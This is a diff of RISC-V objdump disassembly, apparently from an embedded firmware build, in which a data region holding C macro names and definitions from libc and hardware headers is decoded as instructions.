-    78ee:	535f 4c45 4345      	0x43454c45535f
-    78f4:	5f54                	lw	a3,60(a4)
-    78f6:	2048                	fld	fa0,128(s0)
-    78f8:	4200                	lw	s0,0(a2)
-    78fa:	54535f43          	0x54535f43
-    78fe:	4952                	lw	s2,20(sp)
-    7900:	474e                	lw	a4,208(sp)
-    7902:	4d5f 5841 3120      	0x312058414d5f
-    7908:	3030                	fld	fa2,96(s0)
-    790a:	0030                	addi	a2,sp,8
-    790c:	414e                	lw	sp,208(sp)
-    790e:	4f50                	lw	a2,28(a4)
-    7910:	2054                	fld	fa3,128(s0)
-    7912:	6230                	flw	fa2,64(a2)
-    7914:	3030                	fld	fa2,96(s0)
-    7916:	3130                	fld	fa2,96(a0)
-    7918:	3031                	jal	7124 <__stack_size+0x6924>
-    791a:	3030                	fld	fa2,96(s0)
-    791c:	5f00                	lw	s0,56(a4)
-    791e:	535f 4f45 2046      	0x20464f45535f
-    7924:	7830                	flw	fa2,112(s0)
-    7926:	3030                	fld	fa2,96(s0)
-    7928:	3032                	fld	ft0,296(sp)
-    792a:	5f00                	lw	s0,56(a4)
-    792c:	535f 5a49 4f45      	0x4f455a49535f
-    7932:	5f46                	lw	t5,112(sp)
-    7934:	4f44                	lw	s1,28(a4)
-    7936:	4255                	li	tp,21
-    7938:	454c                	lw	a1,12(a0)
-    793a:	5f5f 3820 5f00      	0x5f0038205f5f
-    7940:	555f 4e49 5f54      	0x5f544e49555f
-    7946:	4146                	lw	sp,80(sp)
-    7948:	32335453          	0x32335453
-    794c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    7952:	3020                	fld	fs0,96(s0)
-    7954:	6678                	flw	fa4,76(a2)
-    7956:	6666                	flw	fa2,88(sp)
-    7958:	6666                	flw	fa2,88(sp)
-    795a:	6666                	flw	fa2,88(sp)
-    795c:	5566                	lw	a0,120(sp)
-    795e:	5f00                	lw	s0,56(a4)
-    7960:	625f 7773 7061      	0x70617773625f
-    7966:	5f283233          	0x5f283233
-    796a:	2978                	fld	fa4,208(a0)
-    796c:	5f20                	lw	s0,120(a4)
-    796e:	625f 6975 746c      	0x746c6975625f
-    7974:	6e69                	lui	t3,0x1a
-    7976:	625f 7773 7061      	0x70617773625f
-    797c:	5f283233          	0x5f283233
-    7980:	2978                	fld	fa4,208(a0)
-    7982:	4600                	lw	s0,8(a2)
-    7984:	5845                	li	a6,-15
-    7986:	4f4c                	lw	a1,28(a4)
-    7988:	5f204b43          	fmadd.q	fs6,ft0,fs2,fa1,rmm
-    798c:	4546                	lw	a0,80(sp)
-    798e:	4c58                	lw	a4,28(s0)
-    7990:	004b434f          	fnmadd.s	ft6,fs6,ft4,ft0,rmm
-    7994:	535f 5f43 4552      	0x45525f43535f
-    799a:	50584547          	fmsub.s	fa0,fa6,ft5,fa0,rmm
-    799e:	3720                	fld	fs0,104(a4)
-    79a0:	0032                	c.slli	zero,0xc
-    79a2:	535f 5f43 3756      	0x37565f43535f
-    79a8:	495f 504c 3233      	0x3233504c495f
-    79ae:	4f5f 4646 3233      	0x323346464f5f
-    79b4:	3920                	fld	fs0,112(a0)
-    79b6:	0032                	c.slli	zero,0xc
-    79b8:	505f 5f43 4552      	0x45525f43505f
-    79be:	494d5f43          	fmadd.s	ft10,fs10,fs4,fs1,unknown
-    79c2:	5f4e                	lw	t5,240(sp)
-    79c4:	4658                	lw	a4,12(a2)
-    79c6:	5245                	li	tp,-15
-    79c8:	535f 5a49 2045      	0x20455a49535f
-    79ce:	3831                	jal	71ea <__stack_size+0x69ea>
-    79d0:	5f00                	lw	s0,56(a4)
-    79d2:	4e49                	li	t3,18
-    79d4:	415f 4444 5f52      	0x5f524444415f
-    79da:	5f54                	lw	a3,60(a4)
-    79dc:	4544                	lw	s1,12(a0)
-    79de:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    79e2:	4445                	li	s0,17
-    79e4:	0020                	addi	s0,sp,8
-    79e6:	5750                	lw	a2,44(a4)
-    79e8:	5f4d                	li	t5,-13
-    79ea:	31504d43          	fmadd.s	fs10,ft0,fs5,ft6,rmm
-    79ee:	3020                	fld	fs0,96(s0)
-    79f0:	3278                	fld	fa4,224(a2)
-    79f2:	0034                	addi	a3,sp,8
-    79f4:	5f5f 4c46 3354      	0x33544c465f5f
-    79fa:	5f32                	lw	t5,44(sp)
-    79fc:	494d                	li	s2,19
-    79fe:	5f4e                	lw	t5,240(sp)
-    7a00:	205f 2e31 3731      	0x37312e31205f
-    7a06:	3435                	jal	7432 <__stack_size+0x6c32>
-    7a08:	3439                	jal	7416 <__stack_size+0x6c16>
-    7a0a:	38303533          	0x38303533
-    7a0e:	3232                	fld	ft4,296(sp)
-    7a10:	3832                	fld	fa6,296(sp)
-    7a12:	37303537          	lui	a0,0x37303
-    7a16:	3639                	jal	7524 <__stack_size+0x6d24>
-    7a18:	3738                	fld	fa4,104(a4)
-    7a1a:	33353633          	0x33353633
-    7a1e:	32323237          	lui	tp,0x32323
-    7a22:	3432                	fld	fs0,296(sp)
-    7a24:	3635                	jal	7550 <__stack_size+0x6d50>
-    7a26:	6538                	flw	fa4,72(a0)
-    7a28:	332d                	jal	7752 <__stack_size+0x6f52>
-    7a2a:	4638                	lw	a4,72(a2)
-    7a2c:	5f003233          	0x5f003233
-    7a30:	4e5f4353          	0x4e5f4353
-    7a34:	5250                	lw	a2,36(a2)
-    7a36:	5345434f          	fnmadd.d	ft6,fa0,fs4,fa0,rmm
-    7a3a:	53524f53          	0x53524f53
-    7a3e:	435f 4e4f 2046      	0x20464e4f435f
-    7a44:	0039                	c.nop	14
-    7a46:	5f4b4c43          	fmadd.q	fs8,fs6,fs4,fa1,rmm
-    7a4a:	4354                	lw	a3,4(a4)
-    7a4c:	4c43204b          	0x4c43204b
-    7a50:	534b434f          	fnmadd.d	ft6,fs6,fs4,fa0,rmm
-    7a54:	505f 5245 535f      	0x535f5245505f
-    7a5a:	4345                	li	t1,17
-    7a5c:	5f00                	lw	s0,56(a4)
-    7a5e:	475f 554e 565f      	0x565f554e475f
-    7a64:	5349                	li	t1,-14
-    7a66:	4249                	li	tp,18
-    7a68:	454c                	lw	a1,12(a0)
-    7a6a:	3020                	fld	fs0,96(s0)
+    740c:	0078                	addi	a4,sp,12
+    740e:	5f5f 4c46 3154      	0x31544c465f5f
+    7414:	3832                	fld	fa6,296(sp)
+    7416:	4d5f 5841 455f      	0x455f58414d5f
+    741c:	5058                	lw	a4,36(s0)
+    741e:	5f5f 3120 3336      	0x333631205f5f
+    7424:	3438                	fld	fa4,104(s0)
+    7426:	5f00                	lw	s0,56(a4)
+    7428:	685f 6f74 736e      	0x736e6f74685f
+    742e:	5f28                	lw	a0,120(a4)
+    7430:	2978                	fld	fa4,208(a0)
+    7432:	5f20                	lw	s0,120(a4)
+    7434:	625f 7773 7061      	0x70617773625f
+    743a:	3631                	jal	6f46 <__stack_size+0x6746>
+    743c:	5f28                	lw	a0,120(a4)
+    743e:	2978                	fld	fa4,208(a0)
+    7440:	5f00                	lw	s0,56(a4)
+    7442:	445f4353          	0x445f4353
+    7446:	4c45                	li	s8,17
+    7448:	5941                	li	s2,-16
+    744a:	4954                	lw	a3,20(a0)
+    744c:	454d                	li	a0,19
+    744e:	5f52                	lw	t5,52(sp)
+    7450:	414d                	li	sp,19
+    7452:	2058                	fld	fa4,128(s0)
+    7454:	5f003733          	0x5f003733
+    7458:	5f535953          	0x5f535953
+    745c:	445f 4645 5541      	0x55414645445f
+    7462:	544c                	lw	a1,44(s0)
+    7464:	465f 4e43 4c54      	0x4c544e43465f
+    746a:	485f 205f 5f00      	0x5f00205f485f
+    7470:	465f 544c 3231      	0x3231544c465f
+    7476:	5f38                	lw	a4,120(a4)
+    7478:	4544                	lw	s1,12(a0)
+    747a:	4f4e                	lw	t5,208(sp)
+    747c:	4d52                	lw	s10,20(sp)
+    747e:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    7484:	3620                	fld	fs0,104(a2)
+    7486:	342e                	fld	fs0,232(sp)
+    7488:	37313537          	lui	a0,0x37313
+    748c:	3135                	jal	70b8 <__stack_size+0x68b8>
+    748e:	3931                	jal	70aa <__stack_size+0x68aa>
+    7490:	3334                	fld	fa3,96(a4)
+    7492:	3038                	fld	fa4,96(s0)
+    7494:	3532                	fld	fa0,296(sp)
+    7496:	3131                	jal	70a2 <__stack_size+0x68a2>
+    7498:	3930                	fld	fa2,112(a0)
+    749a:	3432                	fld	fs0,296(sp)
+    749c:	3334                	fld	fa3,96(a4)
+    749e:	3938                	fld	fa4,112(a0)
+    74a0:	3835                	jal	6cdc <__stack_size+0x64dc>
+    74a2:	3232                	fld	ft4,296(sp)
+    74a4:	36343637          	lui	a2,0x36343
+    74a8:	3535                	jal	72d4 <__stack_size+0x6ad4>
+    74aa:	2d65                	jal	7b62 <__stack_size+0x7362>
+    74ac:	3934                	fld	fa3,112(a0)
+    74ae:	3636                	fld	fa2,360(sp)
+    74b0:	3146                	fld	ft2,112(sp)
+    74b2:	3832                	fld	fa6,296(sp)
+    74b4:	4300                	lw	s0,0(a4)
+    74b6:	4d5f5253          	0x4d5f5253
+    74ba:	5048                	lw	a0,36(s0)
+    74bc:	434d                	li	t1,19
+    74be:	544e554f          	0x544e554f
+    74c2:	5245                	li	tp,-15
+    74c4:	32203033          	0x32203033
+    74c8:	0036                	c.slli	zero,0xd
+    74ca:	5f5f 4946 494e      	0x494e49465f5f
+    74d0:	4554                	lw	a3,12(a0)
+    74d2:	4d5f 5441 5f48      	0x5f4854414d5f
+    74d8:	594c4e4f          	fnmadd.s	ft8,fs8,fs4,fa1,rmm
+    74dc:	5f5f 3020 5f00      	0x5f0030205f5f
+    74e2:	5441                	li	s0,-16
+    74e4:	5845                	li	a6,-15
+    74e6:	5449                	li	s0,-14
+    74e8:	495f 494e 2054      	0x2054494e495f
+    74ee:	554e5f7b          	0x554e5f7b
+    74f2:	4c4c                	lw	a1,28(s0)
+    74f4:	202c                	fld	fa1,64(s0)
+    74f6:	2c30                	fld	fa2,88(s0)
+    74f8:	7b20                	flw	fs0,112(a4)
+    74fa:	4e5f 4c55 7d4c      	0x7d4c4c554e5f
+    7500:	202c                	fld	fa1,64(s0)
+    7502:	4e5f7b7b          	0x4e5f7b7b
+    7506:	4c55                	li	s8,21
+    7508:	7d4c                	flw	fa1,60(a0)
+    750a:	202c                	fld	fa1,64(s0)
+    750c:	554e5f7b          	0x554e5f7b
+    7510:	4c4c                	lw	a1,28(s0)
+    7512:	2c7d                	jal	77d0 <__stack_size+0x6fd0>
+    7514:	3020                	fld	fs0,96(s0)
+    7516:	202c                	fld	fa1,64(s0)
+    7518:	7d30                	flw	fa2,120(a0)
+    751a:	007d                	c.nop	31
+    751c:	4955                	li	s2,21
+    751e:	544e                	lw	s0,240(sp)
+    7520:	5f38                	lw	a4,120(a4)
+    7522:	414d                	li	sp,19
+    7524:	2058                	fld	fa4,128(s0)
+    7526:	5f5f 4955 544e      	0x544e49555f5f
+    752c:	5f38                	lw	a4,120(a4)
+    752e:	414d                	li	sp,19
+    7530:	5f58                	lw	a4,60(a4)
+    7532:	005f 5f5f 5353      	0x53535f5f005f
+    7538:	5254                	lw	a3,36(a2)
+    753a:	3020                	fld	fs0,96(s0)
+    753c:	3078                	fld	fa4,224(s0)
+    753e:	3032                	fld	ft0,296(sp)
+    7540:	0030                	addi	a2,sp,8
+    7542:	535f 5f43 454c      	0x454c5f43535f
+    7548:	4556                	lw	a0,84(sp)
+    754a:	344c                	fld	fa1,168(s0)
+    754c:	435f 4341 4548      	0x45484341435f
+    7552:	4c5f 4e49 5345      	0x53454e494c5f
+    7558:	5a49                	li	s4,-14
+    755a:	2045                	jal	75fa <__stack_size+0x6dfa>
+    755c:	3331                	jal	7268 <__stack_size+0x6a68>
+    755e:	0039                	c.nop	14
+    7560:	535f 5f43 3756      	0x37565f43535f
+    7566:	4c5f 3650 5f34      	0x5f3436504c5f
+    756c:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
+    7570:	2034                	fld	fa3,64(s0)
+    7572:	3439                	jal	6f80 <__stack_size+0x6780>
+    7574:	5300                	lw	s0,32(a4)
+    7576:	495f 4d46 2054      	0x20544d46495f
+    757c:	495f 4d46 0054      	0x544d46495f
+    7582:	5f5f 5453 4344      	0x434454535f5f
+    7588:	565f 5245 4953      	0x49535245565f
+    758e:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    7592:	3220                	fld	fs0,96(a2)
+    7594:	3130                	fld	fa2,96(a0)
+    7596:	4c303137          	lui	sp,0x4c303
+    759a:	5f00                	lw	s0,56(a4)
+    759c:	425f4353          	0x425f4353
+    75a0:	54535f43          	0x54535f43
+    75a4:	4952                	lw	s2,20(sp)
+    75a6:	474e                	lw	a4,208(sp)
+    75a8:	4d5f 5841 3620      	0x362058414d5f
+    75ae:	0030                	addi	a2,sp,8
+    75b0:	505f 5f43 414d      	0x414d5f43505f
+    75b6:	5f58                	lw	a4,60(a4)
+    75b8:	4e49                	li	t3,18
+    75ba:	5550                	lw	a2,44(a0)
+    75bc:	2054                	fld	fa3,128(s0)
+    75be:	0032                	c.slli	zero,0xc
+    75c0:	5f5f 6673 6f65      	0x6f6566735f5f
+    75c6:	2866                	fld	fa6,88(sp)
+    75c8:	2970                	fld	fa2,208(a0)
+    75ca:	2820                	fld	fs0,80(s0)
+    75cc:	6928                	flw	fa0,80(a0)
+    75ce:	746e                	flw	fs0,248(sp)
+    75d0:	2829                	jal	75ea <__stack_size+0x6dea>
+    75d2:	2828                	fld	fa0,80(s0)
+    75d4:	2970                	fld	fa2,208(a0)
+    75d6:	3e2d                	jal	7110 <__stack_size+0x6910>
+    75d8:	665f 616c 7367      	0x7367616c665f
+    75de:	2620                	fld	fs0,72(a2)
+    75e0:	5f20                	lw	s0,120(a4)
+    75e2:	535f 4f45 2946      	0x29464f45535f
+    75e8:	2120                	fld	fs0,64(a0)
+    75ea:	203d                	jal	7618 <__stack_size+0x6e18>
+    75ec:	2930                	fld	fa2,80(a0)
+    75ee:	0029                	c.nop	10
+    75f0:	4955                	li	s2,21
+    75f2:	544e                	lw	s0,240(sp)
+    75f4:	5f38                	lw	a4,120(a4)
+    75f6:	414d                	li	sp,19
+    75f8:	0058                	addi	a4,sp,4
+    75fa:	505f 5f43 5250      	0x52505f43505f
+    7600:	4f49                	li	t5,18
+    7602:	495f 204f 3031      	0x3031204f495f
+    7608:	5f00                	lw	s0,56(a4)
+    760a:	645f 6461 7264      	0x72646461645f
+    7610:	745f 645f 6665      	0x6665645f745f
+    7616:	6e69                	lui	t3,0x1a
+    7618:	6465                	lui	s0,0x19
+    761a:	0020                	addi	s0,sp,8
+    761c:	535f 5f43 504e      	0x504e5f43535f
+    7622:	4f52                	lw	t5,20(sp)
+    7624:	53534543          	fmadd.d	fa0,ft6,fs5,fa0,rmm
+    7628:	5f53524f          	fnmadd.q	ft4,ft6,fs5,fa1,unknown
+    762c:	4e4c4e4f          	fnmadd.q	ft8,fs8,ft4,fs1,rmm
+    7630:	3120                	fld	fs0,96(a0)
+    7632:	0030                	addi	a2,sp,8
+    7634:	5f5f 4e49 3654      	0x36544e495f5f
+    763a:	5f34                	lw	a3,120(a4)
+    763c:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    7640:	6320                	flw	fs0,64(a4)
+    7642:	2320                	fld	fs0,64(a4)
+    7644:	4c4c2023          	sw	tp,1216(s8) # 1d4c0 <__stack_size+0x1ccc0>
+    7648:	4100                	lw	s0,0(a0)
+    764a:	5f54                	lw	a3,60(a4)
+    764c:	4145                	li	sp,17
+    764e:	53454343          	fmadd.d	ft6,fa0,fs4,fa0,rmm
+    7652:	00312053          	fadd.s	ft0,ft2,ft3,rdn
+    7656:	5750                	lw	a2,44(a4)
+    7658:	5f4d                	li	t5,-13
+    765a:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    765e:	4544                	lw	s1,12(a0)
+    7660:	54494c47          	0x54494c47
+    7664:	30204843          	fmadd.s	fa6,ft0,ft2,ft6,rmm
+    7668:	3078                	fld	fa4,224(s0)
+    766a:	3030                	fld	fa2,96(s0)
+    766c:	3030                	fld	fa2,96(s0)
+    766e:	3034                	fld	fa3,96(s0)
+    7670:	0030                	addi	a2,sp,8
+    7672:	5750                	lw	a2,44(a4)
+    7674:	5f4d                	li	t5,-13
+    7676:	33504d43          	fmadd.d	fs10,ft0,fs5,ft6,rmm
+    767a:	3020                	fld	fs0,96(s0)
+    767c:	3278                	fld	fa4,224(a2)
+    767e:	5f5f0043          	fmadd.q	ft0,ft10,fs5,fa1,rne
+    7682:	4c45                	li	s8,17
+    7684:	5f46                	lw	t5,112(sp)
+    7686:	205f 0031 4953      	0x49530031205f
+    768c:	455a                	lw	a0,148(sp)
+    768e:	4d5f 5841 5f20      	0x5f2058414d5f
+    7694:	535f 5a49 5f45      	0x5f455a49535f
+    769a:	414d                	li	sp,19
+    769c:	5f58                	lw	a4,60(a4)
+    769e:	005f 525f 4745      	0x4745525f005f
+    76a4:	3436                	fld	fs0,360(sp)
+    76a6:	6228                	flw	fa0,64(a2)
+    76a8:	7361                	lui	t1,0xffff8
+    76aa:	2c65                	jal	7962 <__stack_size+0x7162>
+    76ac:	7366666f          	jal	a2,6dde2 <__stack_size+0x6d5e2>
+    76b0:	7465                	lui	s0,0xffff9
+    76b2:	2029                	jal	76bc <__stack_size+0x6ebc>
+    76b4:	2a28                	fld	fa0,80(a2)
+    76b6:	7628                	flw	fa0,104(a2)
+    76b8:	74616c6f          	jal	s8,1ddfe <__stack_size+0x1d5fe>
+    76bc:	6c69                	lui	s8,0x1a
+    76be:	2065                	jal	7766 <__stack_size+0x6f66>
+    76c0:	6975                	lui	s2,0x1d
+    76c2:	746e                	flw	fs0,248(sp)
+    76c4:	3436                	fld	fs0,360(sp)
+    76c6:	745f 2a20 2829      	0x28292a20745f
+    76cc:	6228                	flw	fa0,64(a2)
+    76ce:	7361                	lui	t1,0xffff8
+    76d0:	2965                	jal	7b88 <__stack_size+0x7388>
+    76d2:	2b20                	fld	fs0,80(a4)
+    76d4:	2820                	fld	fs0,80(s0)
+    76d6:	7366666f          	jal	a2,6de0c <__stack_size+0x6d60c>
+    76da:	7465                	lui	s0,0xffff9
+    76dc:	2929                	jal	7af6 <__stack_size+0x72f6>
+    76de:	0029                	c.nop	10
+    76e0:	535f 5359 5f5f      	0x5f5f5359535f
+    76e6:	49445453          	0x49445453
+    76ea:	544e                	lw	s0,240(sp)
+    76ec:	485f 0020 5f5f      	0x5f5f0020485f
+    76f2:	5358                	lw	a4,36(a4)
+    76f4:	5254                	lw	a3,36(a2)
+    76f6:	4e49                	li	t3,18
+    76f8:	29782847          	fmsub.s	fa6,fa6,fs7,ft5,rdn
+    76fc:	5f20                	lw	s0,120(a4)
+    76fe:	535f 5254 4e49      	0x4e495254535f
+    7704:	29782847          	fmsub.s	fa6,fa6,fs7,ft5,rdn
+    7708:	5f00                	lw	s0,56(a4)
+    770a:	535f 4343 4953      	0x49534343535f
+    7710:	2844                	fld	fs1,144(s0)
+    7712:	73202973          	csrr	s2,0x732
+    7716:	7274                	flw	fa3,100(a2)
+    7718:	6375                	lui	t1,0x1d
+    771a:	2074                	fld	fa3,192(s0)
+    771c:	5f5f 6168 6b63      	0x6b6361685f5f
+    7722:	5f00                	lw	s0,56(a4)
+    7724:	475f 4343 415f      	0x415f4343475f
+    772a:	4f54                	lw	a3,28(a4)
+    772c:	494d                	li	s2,19
+    772e:	4f425f43          	fmadd.q	ft10,ft4,fs4,fs1,unknown
+    7732:	4c5f4c4f          	0x4c5f4c4f
+    7736:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
+    773a:	5246                	lw	tp,112(sp)
+    773c:	4545                	li	a0,17
+    773e:	3120                	fld	fs0,96(a0)
+    7740:	5300                	lw	s0,32(a4)
+    7742:	495f 4552 4441      	0x44414552495f
+    7748:	3020                	fld	fs0,96(s0)
+    774a:	3030                	fld	fa2,96(s0)
+    774c:	3430                	fld	fa2,104(s0)
+    774e:	3030                	fld	fa2,96(s0)
+    7750:	5f00                	lw	s0,56(a4)
+    7752:	495f 544e 465f      	0x465f544e495f
+    7758:	5341                	li	t1,-16
+    775a:	3354                	fld	fa3,160(a4)
+    775c:	5f32                	lw	t5,44(sp)
+    775e:	414d                	li	sp,19
+    7760:	5f58                	lw	a4,60(a4)
+    7762:	205f 7830 6637      	0x66377830205f
+    7768:	6666                	flw	fa2,88(sp)
+    776a:	6666                	flw	fa2,88(sp)
+    776c:	6666                	flw	fa2,88(sp)
+    776e:	5000                	lw	s0,32(s0)
+    7770:	494c                	lw	a1,20(a0)
+    7772:	4e455f43          	fmadd.q	ft10,fa0,ft4,fs1,unknown
+    7776:	535f 4948 5446      	0x54464948535f
+    777c:	505f 5245 545f      	0x545f5245505f
+    7782:	5241                	li	tp,-16
+    7784:	20544547          	fmsub.s	fa0,fs0,ft5,ft4,rmm
+    7788:	0031                	c.nop	12
+    778a:	4d44                	lw	s1,28(a0)
+    778c:	5f41                	li	t5,-16
+    778e:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    7792:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+    7796:	7830                	flw	fa2,112(s0)
+    7798:	3031                	jal	6fa4 <__stack_size+0x67a4>
+    779a:	4f00                	lw	s0,24(a4)
+    779c:	455f 4358 204c      	0x204c4358455f
+    77a2:	465f 5845 4c43      	0x4c435845465f
+    77a8:	5f00                	lw	s0,56(a4)
+    77aa:	4e49                	li	t3,18
+    77ac:	3154                	fld	fa3,160(a0)
+    77ae:	5f36                	lw	t5,108(sp)
+    77b0:	5f54                	lw	a3,60(a4)
+    77b2:	4544                	lw	s1,12(a0)
+    77b4:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    77b8:	4445                	li	s0,17
+    77ba:	0020                	addi	s0,sp,8
+    77bc:	5a4d                	li	s4,-13
+    77be:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    77c2:	4959                	li	s2,22
+    77c4:	4c45                	li	s8,17
+    77c6:	2844                	fld	fs1,144(s0)
+    77c8:	2029                	jal	77d2 <__stack_size+0x6fd2>
+    77ca:	7361                	lui	t1,0xffff8
+    77cc:	206d                	jal	7876 <__stack_size+0x7076>
+    77ce:	6f76                	flw	ft10,92(sp)
+    77d0:	616c                	flw	fa1,68(a0)
+    77d2:	6974                	flw	fa3,84(a0)
+    77d4:	656c                	flw	fa1,76(a0)
+    77d6:	2820                	fld	fs0,80(s0)
+    77d8:	6c22                	flw	fs8,8(sp)
+    77da:	2069                	jal	7864 <__stack_size+0x7064>
+    77dc:	3061                	jal	7064 <__stack_size+0x6864>
+    77de:	202c                	fld	fa1,64(s0)
+    77e0:	3b30                	fld	fa2,112(a4)
+    77e2:	2022                	fld	ft0,8(sp)
+    77e4:	7a6d                	lui	s4,0xffffb
+    77e6:	20656e6f          	jal	t3,5d9ec <__stack_size+0x5d1ec>
+    77ea:	203a                	fld	ft0,392(sp)
+    77ec:	203a                	fld	ft0,392(sp)
+    77ee:	203a                	fld	ft0,392(sp)
+    77f0:	6122                	flw	ft2,8(sp)
+    77f2:	2230                	fld	fa2,64(a2)
+    77f4:	3b29                	jal	750e <__stack_size+0x6d0e>
+    77f6:	5700                	lw	s0,40(a4)
+    77f8:	4e49                	li	t3,18
+    77fa:	5f54                	lw	a3,60(a4)
+    77fc:	494d                	li	s2,19
+    77fe:	204e                	fld	ft0,208(sp)
+    7800:	5f5f 4957 544e      	0x544e49575f5f
+    7806:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    780c:	7300                	flw	fs0,32(a4)
+    780e:	5f74                	lw	a3,124(a4)
+    7810:	7461                	lui	s0,0xffff8
+    7812:	6d69                	lui	s10,0x1a
+    7814:	2065                	jal	78bc <__stack_size+0x70bc>
+    7816:	615f7473          	csrrci	s0,0x615,30
+    781a:	6974                	flw	fa3,84(a0)
+    781c:	2e6d                	jal	7bd6 <__stack_size+0x73d6>
+    781e:	7674                	flw	fa3,108(a2)
+    7820:	735f 6365 5f00      	0x5f006365735f
+    7826:	4955                	li	s2,21
+    7828:	544e                	lw	s0,240(sp)
+    782a:	414d                	li	sp,19
+    782c:	5f58                	lw	a4,60(a4)
+    782e:	5f54                	lw	a3,60(a4)
+    7830:	4544                	lw	s1,12(a0)
+    7832:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    7836:	4445                	li	s0,17
+    7838:	0020                	addi	s0,sp,8
+    783a:	535f 5f43 4854      	0x48545f43535f
+    7840:	4552                	lw	a0,20(sp)
+    7842:	4441                	li	s0,16
+    7844:	505f 4952 5f4f      	0x5f4f4952505f
+    784a:	4c494543          	0x4c494543
+    784e:	4e49                	li	t3,18
+    7850:	535f2047          	fmsub.d	ft0,ft10,fs5,fa0,rdn
+    7854:	48545f43          	fmadd.s	ft10,fs0,ft5,fs1,unknown
+    7858:	4552                	lw	a0,20(sp)
+    785a:	4441                	li	s0,16
+    785c:	505f 4952 5f4f      	0x5f4f4952505f
+    7862:	5250                	lw	a2,36(a2)
+    7864:	4345544f          	fnmadd.d	fs0,fa0,fs4,fs0,unknown
+    7868:	0054                	addi	a3,sp,4
+    786a:	5750                	lw	a2,44(a4)
+    786c:	5f4d                	li	t5,-13
+    786e:	32504d43          	fmadd.d	fs10,ft0,ft5,ft6,rmm
+    7872:	3020                	fld	fs0,96(s0)
+    7874:	3278                	fld	fa4,224(a2)
+    7876:	0038                	addi	a4,sp,8
+    7878:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    787c:	484d                	li	a6,19
+    787e:	4d50                	lw	a2,28(a0)
+    7880:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
+    7884:	4554                	lw	a3,12(a0)
+    7886:	3252                	fld	ft4,304(sp)
+    7888:	2039                	jal	7896 <__stack_size+0x7096>
+    788a:	3532                	fld	fa0,296(sp)
+    788c:	5f00                	lw	s0,56(a4)
+    788e:	4552                	lw	a0,20(sp)
+    7890:	4e45                	li	t3,17
+    7892:	5f54                	lw	a3,60(a4)
+    7894:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
+    7898:	494d5f4b          	fnmsub.s	ft10,fs10,fs4,fs1,unknown
+    789c:	70284353          	0x70284353
+    78a0:	7274                	flw	fa3,100(a2)
+    78a2:	2029                	jal	78ac <__stack_size+0x70ac>
+    78a4:	5f00                	lw	s0,56(a4)
+    78a6:	544e4157          	0x544e4157
+    78aa:	495f 5f4f 4f4c      	0x4f4c5f4f495f
+    78b0:	474e                	lw	a4,208(sp)
+    78b2:	4c5f 4e4f 2047      	0x20474e4f4c5f
+    78b8:	0031                	c.nop	12
+    78ba:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    78be:	494d                	li	s2,19
+    78c0:	534e                	lw	t1,240(sp)
+    78c2:	5254                	lw	a3,36(a2)
+    78c4:	5445                	li	s0,-15
+    78c6:	3120                	fld	fs0,96(a0)
+    78c8:	0034                	addi	a3,sp,8
+    78ca:	535f 5f43 5953      	0x59535f43535f
+    78d0:	4c4d                	li	s8,19
+    78d2:	5f504f4f          	fnmadd.q	ft10,ft0,fs5,fa1,rmm
+    78d6:	414d                	li	sp,19
+    78d8:	2058                	fld	fa4,128(s0)
+    78da:	5f003937          	lui	s2,0x5f003
+    78de:	725f 7369 7663      	0x76637369725f
+    78e4:	635f 6d6f 7270      	0x72706d6f635f
+    78ea:	7365                	lui	t1,0xffff9
+    78ec:	20646573          	csrrsi	a0,0x206,8
+    78f0:	0031                	c.nop	12
+    78f2:	535f 5f43 4f58      	0x4f585f43535f
+    78f8:	4550                	lw	a2,12(a0)
+    78fa:	5f4e                	lw	t5,240(sp)
+    78fc:	4e55                	li	t3,21
+    78fe:	5849                	li	a6,-14
+    7900:	3120                	fld	fs0,96(a0)
+    7902:	3530                	fld	fa2,104(a0)
+    7904:	5f00                	lw	s0,56(a4)
+    7906:	4146                	lw	sp,80(sp)
+    7908:	5050                	lw	a2,36(s0)
+    790a:	4e45                	li	t3,17
+    790c:	2044                	fld	fs1,128(s0)
+    790e:	7830                	flw	fa2,112(s0)
+    7910:	3030                	fld	fa2,96(s0)
+    7912:	3830                	fld	fa2,112(s0)
+    7914:	5f00                	lw	s0,56(a4)
+    7916:	465f 544c 3436      	0x3436544c465f
+    791c:	5f58                	lw	a4,60(a4)
+    791e:	4544                	lw	s1,12(a0)
+    7920:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
+    7924:	5f4c                	lw	a1,60(a4)
+    7926:	4944                	lw	s1,20(a0)
+    7928:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    792c:	5f003633          	0x5f003633
+    7930:	585f4353          	0x585f4353
+    7934:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
+    7938:	525f 4145 544c      	0x544c4145525f
+    793e:	4d49                	li	s10,18
+    7940:	5f45                	li	t5,-15
+    7942:	4854                	lw	a3,20(s0)
+    7944:	4552                	lw	a0,20(sp)
+    7946:	4441                	li	s0,16
+    7948:	30312053          	0x30312053
+    794c:	0032                	c.slli	zero,0xc
+    794e:	4955                	li	s2,21
+    7950:	544e                	lw	s0,240(sp)
+    7952:	4c5f 4145 5453      	0x545341454c5f
+    7958:	3631                	jal	7464 <__stack_size+0x6c64>
+    795a:	4d5f 5841 5f20      	0x5f2058414d5f
+    7960:	555f 4e49 5f54      	0x5f544e49555f
+    7966:	454c                	lw	a1,12(a0)
+    7968:	5341                	li	t1,-16
+    796a:	3154                	fld	fa3,160(a0)
+    796c:	5f36                	lw	t5,108(sp)
